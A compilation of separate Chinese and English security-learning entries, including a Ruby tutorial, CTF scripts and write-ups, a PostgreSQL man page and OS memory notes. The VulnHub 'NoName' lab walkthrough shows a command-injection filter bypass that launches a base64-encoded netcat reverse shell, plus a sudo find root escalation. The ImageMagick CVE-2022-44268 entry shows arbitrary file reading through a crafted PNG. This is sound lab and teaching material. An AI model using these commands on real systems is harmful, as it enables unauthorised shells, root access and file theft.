模块。这些类虽然没有继承这样的血缘关系,但是从“可以使用 `each` 方法遍历元素”这一点来看,可以说它们都拥有了某种相似甚至相同的属性。 单一继承的优点就是简单,不会因为过多的继承而导致类之间的关系变得复杂。但是另一方面,有时我们又会希望更加积极地重用已有的类,或者把多个类的特性合并为更高级的类,在那样的情况下,灵活使用单一继承和 Mix-in,既能使类结构简单易懂,又能灵活地应对各种需求。 **查找方法的规则** 首先,我们来了解一下使用 Mix-in 时方法的查找顺序。 - 同继承关系一样,原类中已经定义了同名的方法时,优先使用该方法。 ```ruby module M def meth "M#meth" end end class C include M # 包含M def meth "C#meth" end end c = C.new p c.meth #=> C#meth ``` - 在同一个类中包含多个模块时,优先使用最后一个包含的模块。 ```ruby module M1 ┊ end module M2 ┊ end class C include M1 #=> 包含M1 include M2 #=> 包含M2 end p C.ancestors #=> [C, M2, M1, Object, Kernel] ``` - 嵌套 `include` 时,查找顺序也是线性的。 ```ruby module M1 ┊ end module M2 ┊ end module M3 include M2 #=> 包含M2 end class C include M1 #=> 包含M1 include M3 #=> 包含M3 end p C.ancestors #=> [C, M3, M2, M1, Object, Kernel] ``` - 相同的模块被包含两次以上时,第 2 次以后的会被省略。 ```ruby module M1 ┊ end module M2 ┊ end class C include M1 #=> 包含M1 include M2 #=> 包含M2 include M1 #=> 包含M1 end p C.ancestors #=> [C, M2, M1, Object, Kernel, BasicObject] ``` **extend 方法** 利用 `Object#extend` 方法,我们可以实现批量定义单例方法。`extend` 方法可以使单例类包含模块,并把模块的功能扩展到对象中。 ```ruby module Edition def edition(n) "#{self} 第#{n} 版" end end str = "Ruby 基础教程" str.extend(Edition) #=> 将模块Mix-in 进对象 p str.edition(4) #=> "Ruby 基础教程第4 版" ``` `include` 可以帮助我们突破继承的限制,通过模块扩展类的功能;而 `extend` 则可以帮助我们跨过类,直接通过模块扩展对象的功能。 **类与 Mix-in** 在 Ruby 中,所有类本身都是 `Class` 类的对象。我们之前也介绍过接收者为类本身的方法就是类方法。也就是说,类方法就是类对象的实例方法。我们可以把类方法理解为: - Class 类的实例方法 - 类对象的单例方法 继承类后,这些方法就会作为类方法被子类继承。对子类定义单例方法,实际上也就是定义新的类方法。 除了之前介绍的定义类方法的语法外,使用 `extend` 方法也同样能为类对象追加类方法。下面是使用 `extend` 方法追加类方法,并使用 `include` 方法追加实例方法的一个例子。 ```ruby module ClassMethods # 定义类方法的模块 def cmethod "class method" end end module InstanceMethods # 定义实例方法的模块 def imethod "instance method" end end class MyClass # 使用extend 方法定义类方法 extend ClassMethods # 使用include 定义实例方法 include InstanceMethods end p MyClass.cmethod #=> "class method" p Myclass.new.imethod #=> "instance method" ``` > 在 Ruby 中,所有方法的执行,都需要通过作为接收者的某个对象的调用。换句话说,Ruby 的方法(包括单例方法)都一定属于某个类,并且作为接收者对象的实例方法被程序调用。从这个角度来说,人们只是为了便于识别接收者的类型,才分别使用了“实例方法”和 “类方法”这样的说法。 # 面向对象程序设计 “面向对象”这个概念,被广泛地应用在问题分析、系统设计或程序设计等系统和程序开发领域中。虽然这个概念目前被用在了各种各样的领域中,但首先使用这个概念的是与程序设计相关的领域。 由于本书是程序设计语言的入门书,因此这里并不会向其他领域过多延伸,而只会介绍与程序设计语言(当然就是 Ruby 了)相关的对象和面向对象方面的基础知识。 下面,我们暂且不讨论具体如何编写程序,而是先来了解一下编写程序时的一些思考方法。 **对象是什么** 包括 Ruby 在内,世界上有多种面向对象的程序设计语言。不同的语言,不仅语法不一样,功能也千差万别,但它们几乎都有一个共通点,就是将程序处理的主体作为“对象”来考虑。 一般情况下,程序语言的处理主体是数据。之前提到的数值、字符串、数组等都是简单的数据。 而面向对象的语言中的“对象”就是指数据(或者说数据的集合)及操作该数据的方法的组合。之前我们提到过 Ruby 里的数值 3.14 是 `Float` 类的实例。这个 3.14 不仅是表示 3.14 这个数值的数据,还包括与数值相关的操作方法。 ```ruby f = 3.14 p f.round #=> 3 (四舍五入) p f.ceil #=> 4 (进位) p f.to_i #=> 3 (整数变换) ``` 像这样,把数据以及处理数据的操作方法作为对象合并在一起贯穿整体,在面向对象程序设计中是很常见的。例如,将浮点数做四舍五入处理的 `round` 方法是可以被作为 `Float` 类的一部分来提供的,这样一来,数据以及处理数据的方法的组合也不会出现错误。 如果只是简单的数值处理,并不会有太大的问题,但大部分程序都需要更复杂的数据构成。例如,在一个处理图片的程序中,图片的长宽、颜色、包括图片本身的内容都需要转换为二进制数据。如果能把一个图片作为一个零部件来处理,那么像图册这样复杂的应用程序也就变得容易编写了 在开发大型程序的时候,若不将大量的数据整合到一起并根据一定的规则进行整理,程序处理本身的统一性会荡然无存。面向对象程序设计会把这种归类统一的数据作为各种各样的对象来看待。在对象中,数据以及处理数据的方法也是成套存在的,而且还负有处理数据的责任。 另外,就像网络上的服务器管理的文件一样,远程数据也可以作为程序的处理对象来考虑。在网络程序设计里,Web、邮件等不同的应用程序,都需要遵守各自不同的规范(也称为协议)。用程序来实现协议的情况下,一般会把管理消息格式、规范等的程序抽象成库(library)。Ruby 的库里就有现成的 `Net::HTTP`、`Net::POP` 等类,可以非常轻松地编写网络程序。 **面向对象的特征** - 封装 所谓封装(encapsulation),就是指使对象管理的数据不能直接从外部进行操作,数据的更新、查询等操作都必须通过调用对象的方法来完成。通过封装,可以防止因把非法数据设置给对象而使程序产生异常的情况发生。 为此,就需要编写不会让对象内部产生异常的方法。最理想的做法是,在定义方法时就考虑如何避免错误的发生,而不是在使用方法编写程序时才开始注意。 Ruby 对象在默认情况下是强制被封装的,因此无法从外部直接访问 Ruby 对象的实例变量。虽然有像 `attr_accessor` 这样简单定义访问级别的方法,但也不要过度使用,建议只在需要公开时才使用。 封装的另外一个好处就是,可以隐藏对象内部数据处理的具体细节,把内部逻辑抽象地表现出来。例如,通过使用 `Time` 类,就可以进行从系统获取当前时间、从时间里提取年月日等操作。 ```ruby t = Time.now # 从系统获取当前时间 p t.year #=> 2013(从时间里提取年) ``` 从系统获取当前时间时是如何处理的、`Time` 对象内部是以什么形式管理时间的、以及从时间中提取年时要进行何种运算等等,以上这些事情都由 `Time` 类的方法来实现。就算对象内部的数据结构改变了,只要公开给外部的方法名、功能等没有改变,类的使用者就完全不需要理会内部逻辑作出了怎样的修改,照常使用即可。相反,类的编写者只要提供的方法恰当,就可以直接修改类的内部逻辑,而不需要在意类的使用者。可见,封装对类的编写者和使用者来说都非常有好处。 - 多态 对象是数据及其处理的组合。对象知道数据是怎样被处理的。换句话说,各个对象都有自己独有的消息解释权。一个方法名属于多个对象(不同对象的处理结果也不一样)这种现象,用面向对象的术语来说,就是多态(polymorphism)。 例如,我们可以观察一下对 `Object` 类、`String` 类和 `Float` 类的各对象调用 `to_s` 方法的运行结果,可以看出,不同的类得到的结果是不一样的。 ```ruby obj = Object.new # 对象(Object) str = "Ruby" # 字符串(String) num = Math::PI # 数值(Float) p obj.to_s #=> "#<Object:0x07fa1d6bd1008>" p str.to_s #=> "Ruby" p num.to_s #=> "3.141592653589793" ``` 三者的 `to_s` 方法名一样,含义也都是“以可以显示的形式把数据转换为字符串”,但实际的字符串转换方式却因对象而异。`String` 类和 `Float` 类都是继承自 `Object` 类,也都重新定义了从 `Object` 类继承的 `to_s` 方法,并提供了更适合自己语义的 `to_s` 方法。 **鸭子类型** 下面,我们来看一种结合对象特征,灵活运用多态的思考方法——鸭子类型(duck typing)。鸭子类型的说法来自于“能像鸭子那样走路,能像鸭子一样啼叫的,那一定就是鸭子”这句话。这句话的意思是,对象的特征并不是由其种类(类及其继承关系)决定的,而是由对象本身具有什么样的行为(拥有什么方法)决定的。例如,假设我们希望从字符串数组中取出元素,并将字母转换成小写后返回结果。 ```ruby def fetch_and_downcase(ary, index) if str = ary[index] return str.downcase end end ary = ["Boo", "Foo", "Woo"] p fetch_and_downcase(ary, 1) #=> "foo" ``` 实际上,除了数组外,我们也可以像下面那样,把散列传给该方法处理。 ```ruby hash = {0 => "Boo", 1 => "Foo", 2 => "Woo"} p fetch_and_downcase(hash, 1) #=> "foo" ``` `fetch_and_downcase` 方法对传进来的参数只有两个要求: - 能以 `ary[index]` 形式获取元素 - 获取的元素可以执行 `downcase` 方法 只要参数符合这两个要求,`fetch_and_downcase` 方法并不关心传进来的到底是数组还是散列。 Ruby 中的变量没有限制类型,所以不会出现不是某个特定的类的对象,就不能给变量赋值的情况。因此,在程序开始运行之前,我们都无法知道变量指定的对象的方法调用是否正确。 这样的做法有个缺点,就是增加了程序运行前检查错误的难度。但是,从另外一个角度来看,则可以非常简单地使没有明确继承关系的对象之间的处理变得通用。只要能执行相同的操作,我们并不介意执行者是否一样;相反,虽然实际上是不同的执行者,但通过定义相同名称的方法,也可以实现处理通用化。这就是鸭子类型思考问题的方法。 利用鸭子类型实现处理通用化,并不要求对象之间有明确的继承关系,因此,要想灵活运用,可能还需要花不少功夫。例如刚才介绍的 `obj[index]` 的形式,就被众多的类作为访问内部元素的手段而使用。刚开始时,我们可以先有意识地留意这种简单易懂的方法,然后再由浅入深,慢慢地就可以抓住窍门了。 **面向对象的例子** 接下来让我们通过一个实际的例子,来看看对象是如何被构造的。 利用 `Net::HTTP` 类取得 Ruby 官网首页的 HTML,并将其输出到控制台的脚本。 ```ruby require "net/http" require "uri" url = URI.parse("http://www.ruby-lang.org/ja/") http = Net::HTTP.start(url.host, url.port) doc = http.get(url.path) puts doc ``` 程序的第 1、2 行中引用了 `net/http` 库以及 `uri` 库。这样,我们就可以使用 `Net::HTTP` 类和 `URI` 模块了。第 3 行使用了 `URI` 模块的 `parse` 方法来解析 `URL` 的字符串,返回的结果是字符串解析后的 `URI::HTTP` 类的对象。根据 `URL` 的编写规则,`URL` 会被分解成多个属性。 ```ruby require "uri" url = URI.parse("http://www.ruby-lang.org/ja/") p url.scheme #=> "http" (体系:URL 的种类) p url.host #=> "www.ruby-lang.org" (主机名) p url.port #=> "80" (端口号) p url.path #=> "/ja/" (路径) p url.to_s #=> "http://www.ruby-lang.org/ja/" ``` 体系(scheme)是指使用哪种通信协议。连接网络上的服务器时,需要知道服务器的主机名以及端口号。路径用于定位服务器上管理的文件。`URI::HTTP` 类的作用就是,把 URL 字符串解析后分解出来的信息,以对象的形式再次整合在一起。 需要注意的是,模块名是 `URI` 而不是 `URL`。URL 指的是 URI 标识符中某种特定种类的东西。关于两者的关系,这里不再详细介绍,现阶段我们只需要知道 URL 是 URI 的一种就可以了。 在程序第 4 行,把主机名和端口号传给 `Net::HTTP` 类的 `start` 方法,并创建 `Net::HTTP` 对象。在程序第 5 行,对 `Net::HTTP` 的 `get` 方法指定路径,获取文档内容。最后,在程序第 6 行,把得到的文档内容输出到控制台。由于得到的文档内容是 `String` 对象,因此后续处理与 `Net::HTTP` 类没有关系。 调用 `Net::HTTP#get` 方法的时候,对象内部会做以下处理: 1. 使用主机名和端口号,与服务器建立通信(叫做 socket,套接字) 2. 使用路径,创建代表请求信息的 `Net::HTTPRequest` 对象 3. 对套接字写入请求信息 4. 从套接字中读取数据,并将其保存到代表响应信息的 `Net::HTTPResponse` 对象中 5. 利用 `Net::HTTPResponse` 本身提供的功能,解析响应信息,提取文档部分并返回。 流程图如下所示。 在这个例子中,URL 解析由 `URI::HTTP` 负责,网络连接由套接字负责,与信息交换相关的操作由 `Net::HTTPRequest` 和 `Net::HTTPResponse` 负责,通信中必要的套接字、请求、响应等相关操作由 `Net::HTTP` 负责。像这样,不同的对象各司其职,决定应该如何配置参数、该执行什么样的处理等事项。 这些事项不仅在新建程序时有用,在扩展、修改已有程序时也非常有用。对象之间通过方法交换信息,而至于这些信息在彼此内部是如何被处理的,则并不需要关心。在生成类时,我们只要牢记把适当的信息交给适当的方法处理,就可以设计出易于读写的程序。 重要的是如何自然地写出程序 这除了需要丰富的程序设计经验外,还需要拥有设计模式等类结构相关的知识。“自然”这样的说法可能有点夸张,但通过指把事物的外部特征作为参考依据,我们就可以使用与实际事物相近的模型去组织、构建程序。
sec-knowleage
version: '2' services: web: build: . ports: - "8000:8000" depends_on: - db db: image: postgres:9.6-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=cve
sec-knowleage
# Writeup SECCON CTF 2015 Uczestniczyliśmy (cr019283, c7f.m0d3, msm, Rev, other019, nazywam i Shalom) w SECCON CTF 2015, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy). ![](results.png) ### Spis treści: * [Start SECCON CTF (Exercises) 50](start_seccon_50) * [SECCON WARS 2015 (Stegano) 100](seccon_wars_100) * [Unzip the file (Crypto) 100] * [Fragment2 (Web/Network) 200] * [Connect the server (Web/Network) 100](connect_web_100) * [Command-Line Quiz (Misc) 100](quiz_100) * [Entry form (Web/Network) 100](entry_form_web_100) * [Bonsai XSS Revolutions (Web/Network) 200](bonsai_xss_revolutions_web_200) * [Exec dmesg (Binary/Reverse) 300] * [Decrypt it (Crypto) 300] * [QR puzzle: Web (Misc) 400](qr_web_400) * [QR puzzle: Nonogram (Misc) 300](qr_nonogram_300) * [QR puzzle: Windows (Unknown) 200](qr_windows_200) * [Reverse-Engineering Android APK 1 (Misc) 400] * [Find the prime numbers (Crypto) 200](paillier_crypto_200) * [Micro computer exploit code challenge (Exploit) 300] * [GDB Remote Debugging (Binary/Reverse) 200] * [FSB: TreeWalker (Exploit) 200] * [Steganography 1 (Stegano) 100](stegano_1_100) * [Steganography 2 (Stegano) 100] * [Steganography 3 (Stegano) 100](stegano_3_100) * [4042 (Misc/Crypto) 100](4042_crypto_100) * [Individual Elebin (Binary/Reverse) 200] * [Last Challenge (Thank you for playing) (Exercises/Crypto) 50](last_crypto_50)
sec-knowleage
import re import threading from time import sleep import math import requests lower_bound = 0 bound_lock = threading.Lock() def seed_collector(): global bound_lock global lower_bound while True: url = "http://pailler.quals.seccon.jp/cgi-bin/pq.cgi" data = str(requests.get(url).content) c, o, h = map(int, re.findall("\d+", data)) potential_n = int(math.sqrt(max([c, o, h]))) bound_lock.acquire() if potential_n > lower_bound: lower_bound = potential_n print("new lower bound " + str(lower_bound)) bound_lock.release() print(c, o, h) sleep(3) def bruter(): global lower_bound global bound_lock bound = 1 while True: bound_lock.acquire() current = max([bound, lower_bound]) lower_bound = current if valid_n(lower_bound): print("n=" + str(lower_bound)) return else: lower_bound += 1 bound_lock.release() def valid_n(n): return ((4329821979223433093 * 5091080979048341208) % (n * n) == 2181673299914317485) def main(): threading.Thread(target=seed_collector, args=[]).start() threading.Thread(target=bruter, args=[]).start() # main() def egcd(a, b): u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return a, u, v def modinv(n, e): _gcd, d, _2 = egcd(e, n) if d < 0: d += n return d def L(u, n): return int((u - 1) / n) def breaker(): p, q = 42727, 58757 n = 2510510339 lbd = 1255204428 # lcm(p-1, q-1) g = n + 1 x = L(pow(g, lbd, n * n), n) mi = int(modinv(n, x)) c = 2662407698910651121 # przykladowy ciphertext m = L(pow(c, lbd, n * n), n) * pow(mi, 1, n) print(m % n) breaker() #1510490612 #SECCON{SECCoooo_oooOooo_ooooooooN}
sec-knowleage
# DoS 对内核进行 DoS 攻击比较容易,我们可以通过以下几种方式来实现。 - 触发内核中的某个漏洞让内核崩溃 - 触发内核中的死锁 - 触发大量的内核内存泄漏,即存在大量的内存被申请但是没有被释放
sec-knowleage
# NoName > https://download.vulnhub.com/haclabs/HL.ova 靶场IP:`192.168.32.22` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.22 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 00:28 EDT Nmap scan report for 192.168.32.22 Host is up (0.00017s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 08:00:27:74:12:22 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds ``` 访问80端口,但是无法执行ping命令。 ![image-20220914122855710](../../.gitbook/assets/image-20220914122855710.png) 爆破目录,找到:`/superadmin.php ` ``` ┌──(root㉿kali)-[~] └─# gobuster dir -u http://192.168.32.22 -w /usr/share/wordlists/dirb/big.txt -x .php =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.22 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php [+] Timeout: 10s =============================================================== 2022/09/14 00:31:46 Starting gobuster in directory enumeration mode =============================================================== /.htpasswd.php (Status: 403) [Size: 278] /.htaccess (Status: 403) [Size: 278] /.htpasswd (Status: 403) [Size: 278] /.htaccess.php (Status: 403) [Size: 278] /admin (Status: 200) [Size: 417] /index.php (Status: 200) [Size: 201] /server-status (Status: 403) [Size: 278] /superadmin.php (Status: 200) [Size: 152] =============================================================== 2022/09/14 00:32:12 Finished =============================================================== ``` 访问:`/superadmin.php ` ![image-20220914123259003](../../.gitbook/assets/image-20220914123259003.png) 执行命令 ![image-20220914123334005](../../.gitbook/assets/image-20220914123334005.png) 查看`superadmin.php`源码,开源发现有些命令会被过滤。 ```php <?php if (isset($_POST['submitt'])) { $word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd"); $pinged=$_POST['pinger']; $newStr = str_replace($word, "", $pinged); if(strcmp($pinged, $newStr) == 0) { $flag=1; } else { $flag=0; } } if ($flag==1){ $outer=shell_exec("ping -c 3 $pinged"); echo "<pre>$outer</pre>"; } ?> </pre> > ``` 使用base64绕过 ``` ┌──(root㉿kali)-[/tmp] └─# echo 'nc.traditional -e /bin/bash 192.168.32.5 12345' | base64 bmMudHJhZGl0aW9uYWwgIC1lIC9iaW4vYmFzaCAxOTIuMTY4LjMyLjUgMTIzNDUK ``` ``` ping 127.0.0.1 | `echo "bmMudHJhZGl0aW9uYWwgIC1lIC9iaW4vYmFzaCAxOTIuMTY4LjMyLjUgMTIzNDUK=" | base64 -d` ``` ![image-20220914124215641](../../.gitbook/assets/image-20220914124215641.png) 有隐藏文件 ![image-20220914133210504](../../.gitbook/assets/image-20220914133210504.png) 找属于yash用户的文件 ``` www-data@haclabs:/home/yash$ find / -type f -user yash 2>/dev/null find / -type f -user yash 2>/dev/null /home/yash/flag1.txt /home/yash/.bashrc /home/yash/.cache/motd.legal-displayed /home/yash/.profile /home/yash/.bash_history /usr/share/hidden/.passwd ``` ``` www-data@haclabs:/home/yash$ cat /usr/share/hidden/.passwd cat /usr/share/hidden/.passwd haclabs1234 ``` 切换到`haclabs`用户 ``` www-data@haclabs:/home/yash$ su haclabs su haclabs Password: haclabs1234 ``` 查看sudo列表 ![image-20220914133509818](../../.gitbook/assets/image-20220914133509818.png) sudo提权 ``` sudo -u root find . -exec /bin/bash \; -quit ``` ![image-20230208154353306](../../.gitbook/assets/image-20230208154353306.png)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE CONSTRAINT TRIGGER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE CONSTRAINT TRIGGER \- 定义一个新的约束触发器 .SH SYNOPSIS .sp .nf CREATE CONSTRAINT TRIGGER \fIname\fR AFTER \fIevents\fR ON \fItablename\fR \fIconstraint\fR \fIattributes\fR FOR EACH ROW EXECUTE PROCEDURE \fIfuncname\fR ( \fIargs\fR ) .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE CONSTRAINT TRIGGER\fR 被 CREATE TABLE/ALTER TABLE 内部使用以及被 pg_dump 用于创建那些用于参考完整性的特殊的触发器。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 约束触发器的名称。 .TP \fB\fIevents\fB\fR 触发该触发器的事件范围。 .TP \fB\fItablename\fB\fR 发生触发器事件的表名称(可能有模式修饰)。 .TP \fB\fIconstraint\fB\fR 实际的约束声明。 .TP \fB\fIattributes\fB\fR 约束属性。 .TP \fB\fIfuncname\fB(\fIargs\fB)\fR 触发器处理所调用的函数。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
## Secu Prim (PPC, 65p) ###ENG [PL](#pl-version) After connecting to the server we get a PoW to solve, and then the task is to provide number of primes and perfect powers in given range. The ranges are rather small (less than 2000 numbers in between) so we simply iterate over the given range and use `gmpy` to tell us if the number if a probable prime or a perfect power: ```python def solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter ``` And the whole script with PoW: ```python import hashlib import re import socket import itertools import string import gmpy2 def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1) def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha256(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c def get_task(s): sentence = recvuntil(s, ["that: "]) sentence += recvuntil(s, ["\n"]) return sentence def solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter def main(): url = "secuprim.asis-ctf.ir" port = 42738 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) x = proof_of_work(s) print(x) s.sendall(x + "\n") data = recvuntil(s, "---\n") print(data) while True: data = recvuntil(s, ["like n such", "corret!", "}"]) print(data) if "ASIS" in data: print(data) if "corret" in data: print("failed") break else: task = get_task(s) print(task) b, e = re.findall("that: (\d+) <= n <= (\d+)", task)[0] start = int(b) end = int(e) counter = solve_task(start, end) s.sendall(str(counter) + "\n") main() ``` ###PL version Po połączeniu do serwera dostajemy PoW do rozwiązania a następnie zadaniem jest policzyć ile liczb pierwszych oraz doskonałych potęg jest w zadanym przedziale. Przedziały są dość małe (nie więcej niż 2000 liczb) więc po prostu iterujemy po każdej liczbie i za pomocą `gmpy` sprawdzamy czy liczba jest pierwsza lub czy jest doskonałą potęgą: ```python def solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter ``` A cały skrypt razem z PoW: ```python import hashlib import re import socket import itertools import string import gmpy2 def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1) def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha256(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c def get_task(s): sentence = recvuntil(s, ["that: "]) sentence += recvuntil(s, ["\n"]) return sentence def solve_task(start, end): print("Range size = " + str(end - start)) counter = 0 for i in range(start, end + 1): if gmpy2.is_prime(i): counter += 1 elif gmpy2.is_power(i): counter += 1 print("Counted " + str(counter)) return counter def main(): url = "secuprim.asis-ctf.ir" port = 42738 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) x = proof_of_work(s) print(x) s.sendall(x + "\n") data = recvuntil(s, "---\n") print(data) while True: data = recvuntil(s, ["like n such", "corret!", "}"]) print(data) if "ASIS" in data: print(data) if "corret" in data: print("failed") break else: task = get_task(s) print(task) b, e = re.findall("that: (\d+) <= n <= (\d+)", task)[0] start = int(b) end = int(e) counter = solve_task(start, end) s.sendall(str(counter) + "\n") main() ```
sec-knowleage
# 序言 这些安全笔记是我用来学习和记录的,帮助我补充知识,里面大部分都有详细的描述以及复现过程。这些内容包括红队攻防、渗透测试、代码审计和甲方安全建设等等知识内容。与君共勉! 相关链接 - [信息安全笔记中文版](https://icybersec.gitbook.io/cybersecuritynote-cn/) - [信息安全笔记英文版](https://icybersec.gitbook.io/cybersecuritynote-en/) - [GitHub仓库地址](https://github.com/yingshang/CybersecurityNote_cn) - [作者博客](https://www.freebuf.com/author/%E9%99%8C%E5%BA%A6) - 微信公众号:陌度安全 {% hint style="danger" %} 警告:请勿将此处提及的任何工具用于非法、不道德或有问题的目的。这些工具仅用于合法/批准的测试和研究。 {% endhint %}
sec-knowleage
# ImageMagick Arbitrary File Disclosure (CVE-2022-44268) [中文版本(Chinese version)](README.zh-cn.md) ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. In the version prior to 7.1.0-51 on ImageMagick, there is a information disclosure vulnerability that is able to be used to read arbitrary file when modifing a PNG file. References: - <https://www.metabaseq.com/imagemagick-zero-days/> - <https://github.com/ImageMagick/Website/blob/main/ChangeLog.md#710-52---2022-11-06> ## Vulnerable Environment Execute folloiwing command to start a Web server that uses the ImageMagick to convert an old image to a 50x50 size new image: ``` docker compose up -d ``` After the server is started, visit `http://your-ip:8080` you will see an upload file button: ![](1.png) The [backend service](index.php) is as simple as the following lines of code: ```php $newname = uniqid() . '.png'; shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}"); ``` ## Exploit To exploit this issue, you have to prepare a craft PNG file that contains a chunk data with the file path that you want to disclose. Use [poc.py](poc.py) to generate it: ``` ./poc.py generate -o poc.png -r /etc/passwd ``` > Install [PyPNG](https://pypng.readthedocs.io/en/latest/) to execute poc.py properly: `pip install pypng` There is a type of `tEXt` chunk that contains our payload `profile=/etc/passwd` if you use [010editor](https://en.wikipedia.org/wiki/010_Editor) to review this file: ![](2.png) Then, upload this file to target server: ![](3.png) Download the output artifact as out.png, use poc.py to extract all the chunks from it: ``` ./poc.py parse -i out.png ``` ![](4.png) As you can see, `/etc/passwd` is read and the result have been written to output file by ImageMagick.
sec-knowleage
# 计算机操作系统 - 内存管理 <!-- GFM-TOC --> * [计算机操作系统 - 内存管理](#计算机操作系统---内存管理) * [虚拟内存](#虚拟内存) * [分页系统地址映射](#分页系统地址映射) * [页面置换算法](#页面置换算法) * [1. 最佳](#1-最佳) * [2. 最近最久未使用](#2-最近最久未使用) * [3. 最近未使用](#3-最近未使用) * [4. 先进先出](#4-先进先出) * [5. 第二次机会算法](#5-第二次机会算法) * [6. 时钟](#6-时钟) * [分段](#分段) * [段页式](#段页式) * [分页与分段的比较](#分页与分段的比较) <!-- GFM-TOC --> ## 虚拟内存 虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存,从而让程序获得更多的可用内存。 为了更好的管理内存,操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间,这个地址空间被分割成多个块,每一块称为一页。这些页被映射到物理内存,但不需要映射到连续的物理内存,也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时,由硬件执行必要的映射,将缺失的部分装入物理内存并重新执行失败的指令。 从上面的描述中可以看出,虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存,也就是说一个程序不需要全部调入内存就可以运行,这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址,那么一个程序的地址空间范围是 0\~64K。该计算机只有 32KB 的物理内存,虚拟内存技术允许该计算机运行一个 64K 大小的程序。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7b281b1e-0595-402b-ae35-8c91084c33c1.png"/> </div><br> ## 分页系统地址映射 内存管理单元(MMU)管理着地址空间和物理内存的转换,其中的页表(Page table)存储着页(程序地址空间)和页框(物理内存空间)的映射表。 一个虚拟地址分成两个部分,一部分存储页面号,一部分存储偏移量。 下图的页表存放着 16 个页,这 16 个页需要用 4 个比特位来进行索引定位。例如对于虚拟地址(0010 000000000100),前 4 位是存储页面号 2,读取表项内容为(110 1),页表项最后一位表示是否存在于内存中,1 表示存在。后 12 位存储偏移量。这个页对应的页框的地址为 (110 000000000100)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/> </div><br> ## 页面置换算法 在程序运行过程中,如果要访问的页面不在内存中,就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间,系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。 页面置换算法和缓存淘汰策略类似,可以将内存看成磁盘的缓存。在缓存系统中,缓存的大小有限,当有新的缓存到达时,需要淘汰一部分已经存在的缓存,这样才有空间存放新的缓存数据。 页面置换算法的主要目标是使页面置换频率最低(也可以说缺页率最低)。 ### 1. 最佳 > OPT, Optimal replacement algorithm 所选择的被换出的页面将是最长时间内不再被访问,通常可以保证获得最低的缺页率。 是一种理论上的算法,因为无法知道一个页面多长时间不再被访问。 举例:一个系统为某进程分配了三个物理块,并有如下页面引用序列: ```html 7,0,1,2,0,3,0,4,2,3,0,3,2,1,2,0,1,7,0,1 ``` 开始运行时,先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时,产生缺页中断,会将页面 7 换出,因为页面 7 再次被访问的时间最长。 ### 2. 最近最久未使用 > LRU, Least Recently Used 虽然无法知道将来要使用的页面情况,但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。 为了实现 